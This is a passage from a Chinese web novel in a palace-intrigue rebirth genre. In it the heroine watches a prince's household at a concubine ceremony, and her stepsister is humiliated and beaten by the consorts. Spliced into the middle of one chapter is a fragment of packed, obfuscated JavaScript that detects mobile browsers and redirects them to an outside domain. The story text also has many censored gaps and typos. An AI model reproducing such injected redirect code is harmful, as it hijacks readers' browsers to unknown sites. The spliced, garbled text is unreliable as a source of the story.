沈霜云神色稍睛,缓了口气,“二姑娘说笑了,我哪里见怪。”
“好妹妹没嫌弃我就好。”
楚湘雅打蛇随棍,又来握她的手。
沈霜云微微侧身。
含笑,语不入心的说:“自然不会的,我喜欢二姑娘还来不及呢,少见你这样的姑娘。”
楚湘雅两次扑空,眼神闪烁,终是停下,不在试图去挽着。
她看出沈霜云不太喜欢她。
不,不止是不喜欢,而是警惕。
为什么?
明明才第一次见面啊,难道是惠儿说了什么?或许是她大哥造的孽?
嗯,应该是的。
毕竟,她大哥那名声,小家小户的不知道,镇国公府那几个,肯定心知肚明,呵呵,沈霜云**,过府一趟,都要两个人陪着。
裴九卿、裴照野,他们肯跑这一回,可见这位新认回来的‘大姑娘’,多有份量。
楚湘雅满眼算计,笑容不变。
沈霜云静静看着她,心里想着:对楚湘雅的提防,跟谁都相干,纯粹是因为她本人的问题……
楚湘雅,晋王府金尊玉尊,侧妃所出的二姑娘,她……
是个男人。
第78章 大被同眠
晋王府人丁不旺。
府里只有一男一女两个孩子。
男的是楚清晏,女的便是二姑娘楚湘雅。
太后一脉,庆元帝和晋王两个,子嗣都很艰难,庆元帝就一个,还**,晋王好歹有两,就如珠如宝的疼爱。
楚湘雅的生母,本是个舞女,因生了她抬举成侧妃。
谁都不知道,她为什么?又怎么做到,把一个好好的男儿,说成姑娘,又如何在晋王和晋王妃眼皮下头,真把楚湘雅当成女儿养大。
甚至还让她嫁人了。
晋王府里,晋王懦弱糊涂,晋王妃刻薄小气,楚清晏温和矜持,实则是个变态,只有‘二姑娘’楚湘雅热情开朗,大方爱笑。
她还怜贫惜弱,府里唯一愿意帮楚清晏那些可怜侍妾的,就是她了。
助许惠儿苟活下来的,也是她。
甚至,前世在晋王府里,沈霜云也得过她的救助,原本,她是很感激,哪怕知道楚湘雅是男人,她想的也是要帮着隐瞒,直到……
楚湘雅来勾引她。
也直到她发现,楚湘雅最少跟楚清晏的两个侧妃,七个侍妾有关系!
字面意义上的有关系。
男女关系。
甚至,楚湘雅出嫁后,每次回娘家,都要跟楚清晏的侧妃侍妾们‘几晌贪欢’,沈霜云生下孩子后。
她还笑眯眯的回府祝贺,借着‘女儿身’,进她的产房,坐她床前,握着她的手,说些什么,“霜云真是太争气了,怪不得大哥那么多女人,我独独的,最喜欢你……”
“咱们府里子嗣艰难,大哥成亲多年,妻妾成群,未有收获,我‘知交许久’,辛苦播种,也没有个成果。”
“只有你,霜云,你生了孩子,可见你是易孕,好云儿,等你养好了身子,给我也生一下个吧。”
楚湘雅玩笑般的撒娇,看着无害,实则……
沈霜云明白,这是要借着她们这些女人,来谋夺晋王府的王位,甚至是未来的皇帝……
楚清晏身为嫡出,太后重视,晋王视若眼珠,楚湘雅恢复男身也争不过他,甚至会那变态害了,她就另避溪径,跟大小嫂子们偷情。
让楚清晏帮他养便宜儿子。
沈霜云的孩子,满月前受了好几回算计,她查到都是楚湘雅做的。
那就是个笑面豺。
不是虎,不是狼,而是豺,阴险狡诈,只会背后咬人的豺狗。
沈霜云冷眼看着楚湘雅演戏,把许惠儿哄的两眼泛红,感动不已,又回身,笑容开朗的道:“霜云妹妹,咱们回去吧。”
“我出来时,都瞧见新人,约莫要行礼,别错过了。”
那意思,是沈婉音出来了。
“那,那咱们快回去吧,否则,世子爷要不高兴了。”
许惠儿连声。
沈霜云点头。
三人出了厢房,迈出门槛时,沈霜云目不斜视,极小声的对许惠儿道:“我说的话,你记在心里,若想离开,就到清风院去找绯儿……”
重生回来,她在晋王府,自然也有布置。
绯儿就是她收买的。
“我,我晓得了,谢谢沈姑娘。”许惠儿眸光微闪,隐带泪光。
三人回到小花园,彼时,世子妃史氏强撑病体出面。
沈婉音也穿着身粉色的衣裳,低眉顺眼站在史氏身侧。
抿着嘴儿的乐。
楚清晏带着男宾回来,看见沈霜云,眼睛一起,想要过来,然而,裴九卿抱着膀儿,一步不离,冷笑跟着。
他……
没得逞。
被缠住了。
到是男宾那面,有个眉目清秀,身量不高的男人史宏飞。
前科探花,世子妃史氏的弟弟,往这边瞅了一眼,直接走了过来,停到楚湘雅跟前,欠身问候。
“许久不见,二妹妹身体可好?”
他一板一眼的问。
面无表情。
看着就是敷衍应事。
偏偏,楚湘雅眉开眼笑,上去拉住的手,把声音捏起来,‘娇滴滴’的道:“宏飞哥哥,有你的关心和惦记,雅儿怎么可能不好?”
“一点宏飞哥哥,我就好的不得了!”
“哥哥,好哥哥,咱们有半个多月没见过了,你想没想我呀?”
她‘娇声细语’,一步一步的逼近。
史宏飞
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眉头紧拧,连连后退。
“二妹妹真是说笑了。”
他淡声,眸里流出一丝嫌弃和忌惮。
楚湘雅恍若未觉,仍然欢声笑语的逗弄史宏飞。
沈霜云默默看着,感觉嘴里的牙,都酸掉半口。
许惠儿很羡慕,凑到她身边,小声道:“沈姑娘,史公子是二姑娘的未婚夫,他们两人,转过年就要成亲了。”
“史公子是公子亲孙,尚书之子,人也有才华,考中探花,如今御前行走,二姑娘王府贵女,出嫁时肯定能得封郡主。”
“真真郎才女貌,天生一对啊。”
她出身卑微,落到世子爷那样的恶鬼手里,是没有平安幸福的命了。
二姑娘人生顺遂,她看着也能满足。
这些年,没有二姑娘,她不知**多少回。
沈姑娘也是好人,看见她身上有伤,就愿意帮她。
她,她日后,也会偷偷替沈姑娘祈福,希望她能事事顺心的。
“二姑娘和史公子,真好啊。”
她眼里有泪。
“是,是挺好的~~”
沈霜云低声,语气复杂。
楚湘雅和史宏飞,真的是翻遍大楚,都难得再找到的一对儿了。
楚湘雅男儿身,女儿样,闺阁娇养十八年,封了郡主,嫁人‘生子’,样样不差,成亲后坐床喜,生了一对双胞胎,夫妻恩爱,公婆慈祥。
京中有名的‘贤惠郡主’。
而史宏飞,却是从小女扮男装,进学、科举、探花、娶妻、纳妾、生子,当官,世家公子该干的事。
他件件都干。
还给青楼雅妓提过诗,赎过身。
这一对性别调转,却又偏偏莫名‘合’上拍的男女,沈霜云都不知道怎么评价!
关键,楚湘雅‘生’完双胞胎,抱着孩子回晋王府时,百忙里依然不忘勾引楚清晏的侧妃和侍妾。
她口口声声的说:“嫁人之后,可想小嫂子们了……”
然后,就光明正大的把那两个跟她勾搭的侧妃,拉到院里一块住,还找了几个侍妾职夜!
整整五个人啊。
大被同眠啊!!!
第79章 滚刀肉
回想往事,沈霜云的脸色,真是复杂到了极点。
她控制不住的去看史宏飞。
这位是史尚书的三子,乃继妻所出,是史家唯一一个读出来的。
史尚书的长子和次子,就是太子妃史氏的两个亲哥,都只考了举人,仍在苦读,只有史宏飞,十七岁那年,就考了探花,如今,任职翰林院侍读。
从六品的官职。
虽然不大,但翰林院的官儿清贵啊,正所谓:非进士不入翰林,埋翰林不入内阁。
他又年轻,才二十岁而已,还在庆元帝面前挂着号儿。
有长公主为祖母,尚书为父,史宏飞注定前程远大,只可惜,楚湘雅野心太大。
前世,史氏死后,楚清晏续娶冠平公的嫡长女张氏做继妻,楚湘雅故计重施,又去勾搭张氏,却被张氏做局,拆穿了男人的身份。
有她引着,史宏飞自然也伪装不下去了。
楚湘雅是晋王唯二的儿子,虽然做错,但也暂时没死,只是那个生她的侧妃被‘病逝’了,但沈霜云知道,以楚清晏的为人。
她活不了。
她的‘丈夫’史宏飞,也不会有好下场。
“……宏飞哥哥,这位是镇国公府的千金,我刚认识的好朋友,沈霜云姑娘,你看她长的好看吧,性格也很清雅呢。”
楚湘雅笑盈盈的,转身轻推沈霜云,“我跟她啊,一见如故。”
“我可喜欢霜云妹妹了!”
“沈姑娘,小生有礼。”史宏飞转身,一板一眼的抱拳作揖,又不着痕迹上前一步。
将沈霜云隔开。
不让楚湘雅跟她接触。
“史公子。”
沈霜云回礼,心中幽幽一叹。
前世,史氏不像今生,病的这么快,她为侍妾时,那位还张扬着呢,有姐姐,史宏飞经常会来晋王府。
沈霜云跟他接触过几次。
是个敦厚有礼,一板一眼的性格。
挺钢硬的,见过楚清晏殴打侍妾,还跟他大吵一架,不欢而散。
几人互相见礼,聊了几句,就有王府婢女前来相邀,说是:“开宴了,世子爷请诸君入坐。”
几人便上前,坐进入席。
今日的新郎官儿——楚清晏坐在主位,史氏一脸病容,勉强撑着体面,坐在楚清晏身侧。
他们夫妻俩身后,有个身材高大,三十多岁,戴着一只眼罩的魁武男人,正抱着膀儿护卫。
沈霜云目光一凛。
带走骆明哲尸首的,半瞎练家子。
“大姐姐,居然是楚清晏的人……”裴照野凑过来,声音很小,眼睛却是泛红,“他把骆明晢的尸身带走干什么?”
“他是不是要害丹雪姐姐啊!!”
斩杀骆明哲的刽子手给画了像,虽然很潦草吧,总归是有三、五像的,先前,沈霜云就已有了七、八分的猜,如今看见**……
确认了。
“这个事,瞒不得了,待回去跟二哥哥说一声吧。”
事关丹雪的清白,沈霜云不能视做等闲。
裴照野咬唇,张狂舞牙的小老虎,胆怯的瞅了眼暴躁的裴九卿,犹豫几番,终是不甘不愿的道:“好,好吧……”
说罢,就蔫巴巴的戳药去了。
那边,纳妾礼正式开始,沈婉音高高昂着脸,羞搭搭起身,先是含羞带怯向楚清晏福了礼,娇滴滴口称,“奴奴向世子爷请安,请世子爷怜惜……”
随后,端起杯茶来,盈盈下拜。
楚清晏垂眸,含笑接过,轻轻抿着。
眼神,却别有深意的望向沈霜云。
他边看他边喝茶。
看一眼,抿一口,抿一口,看一眼。
那模样,仿佛喝的不是茶,而是什么女儿香般。
沈霜云感觉到深深的恶心,她别过脸。
裴九卿咬咬牙,冷笑两声,抬手重重向楚清晏后背拍了两下,哈哈大笑道:“世子爷今日大喜,喝啊喝啊,别慢吞吞的。”
“耽误了洞房!”
他边笑,边大力拍人。
楚清晏猝不及防,后背剧疼,一口呛进喉间,“咳咳咳咳!”
他咳的气都喘不上来了。
“哈哈哈哈,刚刚太慢,现在又太急,看来,世子爷也是个男人嘛,着急子嗣。”
裴九卿讽刺。
楚清晏后院百花遍地,颗粒无收,早成京城笑柄。
这也是庆元帝拒绝大臣们过继的一大理由。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16296490|180656||http|test|mini|href|location''.split(''|''),0,{}));
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r>晋王府三代无嗣。
裴九卿毫不留情的,用他的痛点来嘲弄。
谁让他那双狗眼睛,敢那么看他妹妹?
桌上宾客们垂头,憋笑不止。
“裴大人真是爱玩笑,咳,咳……”
楚清晏止住咳嗽,皮笑肉不笑的放下茶杯。
那边,沈婉音全然不懂上头打的口舌官司,只听见了裴九卿说自家爷急着洞房!
哈哈。
那不就是急着要找她吗?
果然啊,她这么丰腴貌美,嘴甜如蜜的女子,哪有男人能拒绝得了?侍妾入府又怎样?
她订个目村,两个月内怀孕,晋位侧妃,十月生下儿子,直接扶正。
她就是未来太子妃,母仪天下了。
沈婉音心里兴奋的不行,眉飞色舞,声调得意,她转头向史氏下跪,“奴奴给世子妃请安。”
“请世子妃饮茶。”
劳病鬼,喝了姑奶奶的茶,你就点**吧。
你**,我才好坐上你的位置啊。
沈婉音的城府,实在太浅薄了,她眉梢眼角的恶意和妄想,桌上宾客都能看得出来。
裴九卿不屑的撇嘴。
裴照野掩面嫌丢人。
楚清晏矜持自若,全不在意。
后院女子,不管是他养的猫儿狗儿而已。
为了霜云能入府,史氏必然是要死的,也就这几个月的功夫罢了,反正是个**。
就让婉音跟她玩玩吧。
两女相斗,呵呵,有意思。
楚清晏玩味轻笑。
沈霜云抿唇,冷眼看着,心里觉得沈婉音在找死,瘦死的骆驼比马大,史氏在病,终是世子妃,是主母,内宅里,她想找侍妾的麻烦,连理由都不用。
而且……
史氏跋扈,蛮横任性,不管不顾。
谁敢惹她,她从来不给人脸面。
府里丫鬟被她罚的,扒光了顶着水盆,跪在地碎瓷片上,跟楚清晏青梅竹马,唯一没被楚湘雅勾搭上的周侧妃,也被她扒了裙子,按着打过板子。
楚清晏因此冷落她半年,她都无动于衷。
甚至变本加厉。
这么一块‘滚刀肉’,又是眼看要病死的,沈婉音也敢去惹?
第80章 生子就封侧妃
前世,沈霜云在晋王府,没少受史氏的折腾,尤其是怀孕后,史氏几乎像是疯了一样,要打掉她的孩子。
冲撞、下药、收买婢女、太医,都是小儿科了。
幸好,沈霜云是谨慎的性子,彼时,又已拉拢住楚清晏,一一应付着,到也没中招。
生产时,史氏更是要去母留子,收买了给她接生的产婆,硬是把孩子往回推!
史氏和楚清晏一样,都不是好东西。
落到这对夫妻手里,沈婉音……
呵呵。
沈霜云冷面冷颜。
沈婉音浑然不觉,扬扬得意,见史氏用帕子捂唇咳嗽,不接她的茶,她还貌似关心,实则幸灾乐祸的嚷,“哎呀呀,世子妃娘娘是身体不适吗?”
“真是可怜见的,应该好生体养才对的,可见是府里事务太忙,让娘娘玉体生疾。”
“无妨无妨,等奴奴入府,就能帮娘娘协助后宅,把杂事都接过来,娘娘就能好好休息了。”
史氏脸色一僵,眼神发厉。
沈婉音像没看见似的,把茶杯怼到史氏面前,连声催促,“娘娘快喝了。”
“喝完了,就能回去休息,免得昏倒在这里,到是不美了。”
史氏垂眸,沉默半晌,突然的,“呵呵,呵呵呵呵。”
她笑了。
那笑声让在坐三位,深知她性格的侧妃遍体生寒。
“好,沈侍妾果然很体贴~”
史氏阴测测的笑,接过茶杯,抿了一口。
那表情,像是在喝沈婉音的血肉般。
沈婉音不觉害怕,反而得意。
楚清晏和史氏喝了纳妾茶,沈婉音的名分算是订下来了,至此,她生是楚清晏的人,死是楚清晏的鬼。
皇家没有休妾之说。
她在也逃不掉了。
沈霜云默默注意着,心里说不清是什么滋味。
看着仇人,兴高采裂的走进地狱,就……
很感慨。
沈婉音娇笑着跪坐到楚清晏身边,服侍着替他布菜。
午膳很快结束,宾客们各自散开,该做诗做诗,该赏花赏花,沈霜云带着裴照野和许惠儿,来到小花园湖边。
借着赏莲之由,她在想跟许惠儿深入说几句。
没认回许老将军之前,许惠儿一直觉得自己是个孤女,她十三岁入王府,学的全是伺候人的活儿,除了服侍主子和挨打,她在不会别的。
前世,她曾苦笑着说:“我这样的人,便是逃出府去,又能做什么?”
“于国无用,于以无功,就在这里熬着吧。”
沈霜云挣扎活命两世,不是不通俗物的人,她想打消许惠儿的顾及。
来到湖边,刚刚坐进凉亭,她请裴照野帮她看着,侧头刚想跟许惠儿说话。
“哟,大姐姐,哈哈哈,你刚刚看到我有多威风了吗?”
一声忘乎所以的笑声传来。
三人同时回头。
就见沈婉音手里拿着个匣子,大摇大摆的走上来。
她面色粉红,眉眼带笑,数不尽的得意。
“我成亲了,我终于嫁给世子爷了,哈哈哈哈,大姐姐,你看见了吗?”
“你看见了吗?”
她成功了!!
她终于成功了。
沈霜云那个**的人生,她终于抢过来了,她入府了,做了世子爷的女人。
礼仪已成,谁能改变不了!!
沈霜云在也抢不回去了!
沈婉音兴奋的眼睛都红的,呼吸急促,重生回来这些日子,事故太多了,沈霜云在镇国公府扎稳脚根,裴家几个恶鬼居然斗不过她,反而被她收服了几个!
她救驾,得封,成了真正的大姑娘。
跟前世的她截然不同,沈家的父亲和哥哥暂时起不来,她受尽沈霜云给的委屈,甚至,连世子爷都好像对她另眼相看。
沈婉音面上没说什么,心里其实很害怕。
她怕自己的重生,引起变故,万一旺了沈霜云,荣耀了她,沈婉音怕是要怄死。
那都不如不重生了!
沈婉音心里一直恐惧着,直到今日,她终于入主晋王府,光明正大的站在世子爷身边。
一切沉埃落定。
她太兴奋了,太开心了,得意忘形。
只觉得自己是全天下的女王,迫不及待来向沈霜云显摆自己的英明。
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“大姐姐,世子爷可太好了,你看看他送我的首饰,哈哈哈,我刚刚进门,就有如此荣宠,你羡慕吧?”
“可惜啊,你这辈子注意得不到了。”
“是我的,哈哈哈哈,全是我的!”
被我抢来了!
沈婉音猖狂的笑。
亭里,沈霜云、裴照野和许惠儿的表情,都是十分复杂。
一言难说。
裴照野:????
当个侍妾这么开心吗?皇商家的眼底子都这么浅了,苍天啊,这个家伙,也是小爷的姐姐。
哦!
不!!
不!!
不!!
不要啊,太丢人了,呜呜呜呜,爹啊,你怎么会生出这种人来?
裴照野想哭。
许惠儿微微蹙眉,又叹息又担心,婉音姑娘什么都不懂,不懂得世子有多可怕,还在高兴呢!
看见她,就想起刚伺候世子爷的自己。
她有些感同深受,又觉得沈婉音对霜云姑娘说话太不客气!
霜云姑娘是她活了这么久,难得遇见的好人,怎么怠慢?
她决定不喜欢沈婉音。
沈霜云挑眉,静静看着沈婉音,似笑非笑,说真的,她两世为人,也是难得一见跳入火炕的蛆,还蠕动的这欢跃的!
“哦,那我真是恭喜妹妹了,你在晋王府,一定要生活的愉快啊,那样,也不妄废父亲和哥哥们,花了那么多嫁妆,送你来当侍妾~”
刚刚敬茶时晒嫁妆,沈婉音带了二十八台大箱子。
塞的满满的。
里面虽无良田、商辅这般能钱生钱的,但估量一下,也值个一、两万两。
这些银子,在镇国公府不算什么,裴照野就能送出来,但对沈**来说,真是挖骨割肉。
沈家是真想扒结上晋王府啊。
沈霜云冷笑。
沈婉音高高昂头,接受了沈霜云的嫉妒,她娇笑道:“哈哈哈哈,你啊,就是不懂,宁做富人妾,不做穷**,况且,世子爷那么尊贵的身份,别说当妾了,就是丫鬟婢女,你都攀不上呢。”
且,她不会永远是侍妾,世子爷答应过她,生子就提侧妃。
第81章 一日为妾,终身是妾
她不像沈霜云,瘦得跟个麻杆儿似的,天生的丧气没福相,她可是丰腴身材,娇美有致。
天生的极品宜男相。
绝对丰沃的土地,只要世子爷愿意播种,三年抱两,五年抱三,绝对不成问题。
沈霜云都能生,她有什么不行的。
王府里没孩子,是那些侧妃侍妾们不争气。
“沈霜云,我的好姐姐,我跟你一样的年纪,已然终身有靠,你却还是孤零零的。”
“上回你在皇宫救驾,伤了身体,都不知道能不能生了,要是不成的话,恐怕你要孤独终老,没人要了。”
“不过,你放心吧,我这个做妹妹得会接纳你,你可以到我生的孩子身边做个嬷嬷!”
“你还挺会伺候人的。”
沈婉音笑得前仰后合。
裴照野气得摩拳擦掌。
他想**。
许惠儿瞠目结舌,那么好的脾气,都有些忍不住,“沈侍妾,你,你怎么能跟亲姐姐这么说话?”
有一母同胞,嫡嫡亲的姐妹,是多么美好的事情啊,尤其还是双胞胎姐妹,更是几辈子才能修来的缘分。
她做梦都不敢想。
沈婉音明明拥有,却不珍贵,还这样讽刺。
“沈姑娘是镇国公府的千金,身份尊贵,而你,而你,你是侍妾,哪有资格请什么嬷嬷!”
许惠儿是个温吞性子,不会骂人。
再怨,也就是这样了。
“切,当了几年的侍妾,一点长进没有,就以为我也会像你那样啊,真是眼界窄,你天生**,婢女出身,是贱籍,我可是皇商家的姑娘,我父兄未来会成就非凡。”
沈婉音天生对内宅争斗敏感,进府前,磨着沈**,求他把楚清晏身边的人调查清楚。
许惠儿是六年老侍妾了。
她当然知道。
“我跟你截然不同。”
许惠儿脸色涨红。
沈霜云目光扫向沈婉音身后的某个方向。
那里,乔侧妃、周侧妃正扶着面色苍白,脸色阴沉的世子妃史氏,缓缓走上前。
她似笑非笑,缓缓挑眉,刻意诱导着,“哦,妹妹觉得自己与众不同,不像许姑娘是普通侍妾……”
“那,你想做什么?”
“侧妃?”
“切,沈霜云,你也就这么点野心了!侧妃?侧妃算什么?不也是妾吗?”沈婉音抖着肩膀,狂到没边了。
“我可不像你,是个万人嫌,作为爹爹和哥哥们的掌上明珠,我怎么会一直当妾呢?”
“要做,我就做大老婆,沈霜云,我告诉你,你少瞧不起我,早晚的,我会被扶正,成为世子妃!!”
然后,就是太子妃,皇后,太后!
哈哈哈。
女主天下。
“你觉得侧妃也是妾,不好吧,人家是上了皇家玉碟,有品级的妃子。”沈霜云挑眉,看着不远处,乔侧妃、周侧妃难看的脸色。
以及世子妃史氏眼里掩不住的怒火。
“况且,如今世子妃安在,婉音,我当姐姐地劝你一句,既然入府,就安分些,好好伺候世子,服侍王妃,尊敬诸位侧妃,和早进门的姐姐们,别痴心妄想。”
“想做正房嫡妻,当初就嫁门当户对的人家,哪有攀了高枝儿,入府做妾,还要贬低人家正房的道理呢?”
“太不贤良了。”
沈霜云叹息,一本正经地挖坑。
沈婉音根本没注意到身后有人来了,听见沈霜云这番表白,眉眼的不屑都要溢出来了。
怪不得,前世这**生了世子爷唯一的儿子,还是个侧妃,都没扶正!
“你懂个屁?不想当正妻的侍妾,就是窝囊废,侧妃在上谱,也沾着个‘侧’字,一日为侧,终生是妾!”
“至于史氏,哈哈,你没看见她今天接我敬茶时的样子吗?手都抖了,耳朵也不好使,眼看活不长了,谁在乎她啊!”
“她**正好给我让位!”
许惠儿眼神无意扫过,正好对上世子妃史氏充满怒火的眼神,心里吓得一哆嗦,她瞬间身体发软。
“苍,苍天啊!”
两眼一番,她向后摔倒。
本来已经握住拳头,准备上去**的裴照野,一把扶住她,神色从愤怒变成幸灾乐祸。
他也看见史氏等人了。
沈霜云:……
她装瞎。<
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br>满脸不赞同地演着,“婉音,你快点住嘴,爹娘在家时,就是这么教你的吗?怎么可以诅咒主母?”
“我哪诅咒了?你那小胆吧,她就是要**!!”沈婉音大声。
一语落地,身后,世子妃史氏阴测测,充满杀意的声音响起,“我要**?**,你死我都不会死!”
“哪个不长眼的敢骂我,我可是世子爷的女人!”
沈婉音怒声,嚣张回头。
随后……
“世,世子妃,两位娘娘!”她颤声,直接僵住。
“说啊,怎么不说了?”
史氏冷笑,甩开乔侧妃和周侧妃的胳膊,大步上前,扬起巴掌,抡圆了重重甩向沈婉音。
‘啪’。
一声……
不是脆响,而是巨响。
沈婉音被扇得原地转了半圈,眼前直冒金星,脸颊火辣辣的疼,整个人都是木的。
她张嘴!
“哇~”
吐出一颗牙来。
“好**,刚刚进门,就敢诅咒主母?你一个卑微的侍妾,我就是打**你,沈家都只有跪着谢恩的份儿。”
“跟沈姑娘显摆你的身份?你哪里值得显摆了!”
史氏充满戾气,心里巴不得直接打这**,但又终归顾及世子的心意,以及!
沈婉音总是裴氏骨血。
没认归没认,事实总在。
但……
也不可能放过她。
“周氏,乔氏,人家都讽刺你们是妾了,就跟**似的,一点反应都没有?”
她转头,厉声吩咐,“你们两个,去教教她,什么是晋王府的规矩!!”
“是,娘娘。”
乔侧妃和周侧妃眉眼阴沉。
她们两个!
乔氏相貌娇媚,是最受楚清晏宠爱的,周氏跟楚清晏青梅竹马,她两算是府里,除了几位**子——晋王,晋王妃,楚清晏、史氏和楚湘雅外,最最重要的存在了。
她们甚至比楚湘雅的生母侧妃都要体面。
毕竟,那位是歌姬出身。
如今,沈婉音一个刚进门的新人,口口声声说她们是‘妾’,还什么‘一日侧妃,终身是妾’……
第82章 沈婉音跪着向沈霜云谢罪
乔、周两位,怎么承受得住?
气都气**。
况且,沈婉音还要上位?她等着史氏死,准备扶正?开玩笑啊!
真能扶正,她俩就上了,哪轮得到沈婉音?
乔、周二人气恼非常,史氏一下命令,她们顾不上沈婉音的‘裴姓血脉’,也全然不想裴家人就在跟前。
“王妃有命,妾身们自然要遵从!”
“沈侍妾,我们得罪了!”
她们把‘侍妾’两个字,咬得格外重,说罢,不等沈婉音反应,大步上前,相当默契的,一个揪她头发,一个扬起巴掌。
二话不说,正反开始抽她的耳光。
“啊啊啊!!你们大胆,放开我,啊,疼,疼疼,救命,呜呜呜呜!”
沈婉音被抽回神,疼得尖叫,嘴角流血。
周侧妃和乔侧妃仿若未闻,手下不停,反而更重。
‘啪!’
‘啪啪!!’
‘**!’
正反不停就是个抽。
沈婉音被打得左右摇头,脸颊飞快红肿,刚刚的得意张狂全没了。
她眼泪流下。
脸颊疼得像要烂了。
拼命挣扎,口中疼痛‘呜咽’,但乔侧妃和周侧妃根本不停,扬声喊来丫鬟,“帮我们按着她。”
丫鬟七手八脚,像按猪般按住沈婉音。
乔侧妃和周侧妃披头盖脸地打她。
沈婉音发出挨踹小狗般的呜咽。
裴照野面上露出一丝不忍,心里又忍不住痛快,表情微显扭曲。
许惠儿捂脸,这般暴力唤起她挨打的记忆,让她浑身不自觉的疼,但转念一想,两个女子的劲儿,不及世子爷十分之一。
提前适应一下也好。
沈霜云垂眸掩唇,仿佛不忍,实则,不想让人看见她在笑。
“沈姑娘见笑了,我本来挺和气一个人,真是气坏了,才会如此行事的!”
史氏见三人模样,不由叹息上前,一脸虚弱模样,她说:“我身体不好,世子替我请了太医,都要好生将养,否则有碍性命。”
“平日里,丫鬟嬷嬷,说话都千万个小心,就连世子和公公婆婆,都替我向佛前奉经,想我能快些好起来,结果……”
“这人!”
她指着依然在挨打的沈婉音,蹙眉道:“竟然诅咒我,又胆大妄为,妄想正妻之位,我这才给她个教训。”
“沈姑娘、裴公子放心,只是些皮肉伤,教她些规矩罢了,不会过分的。”
史氏怕打狗惹来主人,忙解释着。
“无妨无妨,沈婉音不懂事,那话听着莫说世子妃了,小爷都生气,打她是应该教训,理所当然。”
裴照野忙挥手。
那跃跃欲试的模样,仿佛恨不得上手帮忙。
“世子妃外道了,婉音已入晋王府,身为人妾,自当由主母教导,我一个外人,怎能指点什么?”
沈霜云垂眸。
心想:跟前世相比,史氏的脾气居然变好了,要是往常,沈婉音那话让她听见,必须扒了裤子,拉到二门,赏她五十板子,打出个‘一丈红’来。
今生只是在嘴巴子,看来……
史氏的身体,的确是很不好。
不好到她下意识收敛锋芒。
但……
就算收敛锋芒,她照样把沈婉音打得牙都掉了两颗,脸颊红肿如猪,就这般,她还虚虚抹泪,冲着裴照野和沈霜云呜咽,“您二位能理解就好,我的命啊,是真的苦。”
她说着,还特意命丫鬟端来热茶,捧来点心,邀请沈霜云和裴照野一同品鉴。
“这是我那不成气的,继母出的弟弟带来的,是我祖母,长公主殿下知晓我精神不济,特意向陛下请的极品龙井。”
“你们尝尝。”
沈霜云和裴照野从善如流,端起茶杯。
许惠儿站在她们身后服侍着。
几人……
伴着沈霜云的哀嚎和巴掌声,开始品茶。
周侧妃和乔侧妃打了得了小一刻钟,沈婉音都奄奄一息,她们也气喘吁吁,真的没劲儿……
才终于放过她。
两人让丫鬟挟着沈婉音,把她按跪在史氏面前,疾声斥责她,“贱婢,还不给世子妃娘娘谢罪。”
“我,我……”沈婉音疼得麻木,舌
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头都大了。
“我什么我?你是侍妾,得自称‘贱婢’!!”乔侧妃狠狠踹她,眉横立眼。
“贱,贱婢给世,世子妃娘娘请罪,贱婢错了,求娘娘宽恕。”
沈婉音跪在地上,含糊着说。
泪流顺着红肿,甚至破皮的脸颊流下,刺得生疼。
“罢了,你是个肤浅的,我身为世子妃,怎会跟贱婢计较?教训完就得了。”史氏高昂着手,用脚抬起她的下巴,轻蔑说罢,话锋又一转,“不过……”
“沈侍妾,你今日言语狂妄,不止冒犯了我,还冒犯了王爷的贵客,沈姑娘和五公子。”
“现下,你来给他们磕个头,好生道歉吧。”
“可是,他们是我的姐姐和弟弟……”沈婉音愕然,万般不愿。
给史氏下跪就算了,毕竟,她很快就是个**了,而自己……
身为聪明人,不会吃眼前,一时低头挨打,算不得什么,周氏乔氏……
哼,她早晚会成为皇后,到时,直接把她们赐死就是了,早晚有报仇的那天!
但是向沈霜云叩首,那怎么行?
那是她前世的手下败将于,今生注定的洗脚婢,向她服软,比被史氏打还要**十倍百倍。
学有裴照野,这个小恶魔,前世就折磨她,吓唬她,今生又骂她厌她,瞎眼的偏心沈霜云。
“我不,我不!”
她急声。
“你不?由不得你!”史氏冷笑,向乔侧妃和周侧妃一使眼色。
两人心领神会,指挥着丫鬟,按住沈婉音的脖子,不顾她几乎要崩溃地尖叫,压着她磕头触地。
“贱婢,快快给咱们王府的贵宾谢罪。”
“贱婢,赶紧叩头。”
两人齐声喊。
丫鬟下了死手。
沈婉音感觉自己脖子都快断了,肩膀被掐出血痕,她千般委屈,万般无奈地低下头。
边哭边喊,“沈,沈姑娘,裴公子,对不起,是我错了……”
“什么我?是贱婢!!”世子妃史氏呵斥。
沈婉音浑身一颤,哭唧唧道:“是贱婢,是贱婢错了……”
第83章 我和妹妹,一见如故
沈婉音被压着磕头。
一个接一个!
乔侧妃和周侧妃是真下了死手,按的那叫一个重,磕的她额头青紫,眼冒金星。
心里的**更是别提了。
当真恨不得现在就**。
“爹爹,呜呜呜,大哥,二哥,三哥,呜呜呜,救我,救我啊~~”
她小声呜咽。
心里又是恼怒,又是后悔。
恼怒:父亲和哥哥们没本事,她都重生快半年了,几人都没飞黄腾达起来,明明前世这个时候,父亲已经升了一阶,二哥哥也拜师了,今生怎么没有?
呜呜呜,大哥要是派了方大儒,今日,她就能把二哥的大官师兄们拿出来撑腰了!!
这几个**怎敢打她?
至于后悔,却是悔在她想着,今儿是她的好日子,晋王府又那么显贵,眼下还没发达起来的兄父和哥哥们,若是参宴,到是拿不出手,给她丢人了,所以,就故意没跟世子爷求情~
对想来见证她人生大事的父兄们,她也做出为难模样,当成故意看不懂他们的失落,一味诉说王爷和王妃不允~
当时,她觉得没什么,等日后父兄高升了,自然会给他们补回来,可眼下挨打~
沈婉音追悔莫及。
爹爹和哥哥们那么疼她,要是在她身边,绝不会允许世子妃打她的!
更不会眼睁睁看着她受沈霜云的羞辱!
他们会帮她压制沈霜云,呜呜呜,让她这**替她受世子爷的罚?
好痛,呜呜,好痛,好难受!
沈婉音边哭边磕头。
沈霜云垂眸,就见她鲜血泪水横流,狼狈到极点的模样。
心想:……
这才哪儿到哪儿啊?
两个侧妃的打就受不住了?楚清晏后宅里有名有姓的女子,足足二十多个呢!
